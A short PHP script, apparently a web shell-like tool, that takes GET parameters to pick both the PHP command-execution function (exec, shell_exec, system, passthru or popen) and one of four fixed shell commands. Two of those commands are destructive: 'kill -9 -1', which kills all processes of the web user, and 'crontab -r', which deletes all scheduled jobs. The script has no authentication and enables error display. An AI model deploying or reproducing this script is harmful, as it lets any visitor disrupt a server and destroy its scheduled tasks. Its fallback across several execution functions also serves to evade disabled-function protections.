1<?php
2header("Content-Type: text/html;charset=utf-8");
3ini_set('memory_limit', -1);
4ini_set('display_errors', 1);
5error_reporting(E_ALL);
6ini_set('max_execution_time', 0);
7set_time_limit(0);
8
9function do_phpfun($cmd,$fun) {
10 $res = '';
11 switch($fun){
12 case "exec":
13 exec($cmd,$res);
14 $res = join("\n",$res);
15 break;
16 case "shell_exec":
17 $res = shell_exec($cmd);
18 break;
19 case "system":
20 ob_start();
21 system($cmd);
22 $res = ob_get_contents();
23 ob_end_clean();
24 break;
25 case "passthru":
26 ob_start();
27 passthru($cmd);
28 $res = ob_get_contents();
29 ob_end_clean();
30 break;
31 case "popen":
32 if(@is_resource($f = @popen($cmd,"r"))){
33 while(!@feof($f)) $res .= @fread($f,1024);
34 }
35 pclose($f);
36 break;
37 }
38 return $res;
39}
40
41$id = isset($_GET['id']) ? $_GET['id'] : 0;
42$fun = isset($_GET['fun']) ? $_GET['fun'] : 'popen';
43
44if($id == 0){
45 echo do_phpfun('ps -ef', $fun);
46}elseif($id == 1){
47 echo do_phpfun('kill -9 -1', $fun);
48}elseif($id == 2){
49 echo do_phpfun('crontab -l', $fun);
50}elseif($id == 3){
51 echo do_phpfun('crontab -r', $fun);
52}
53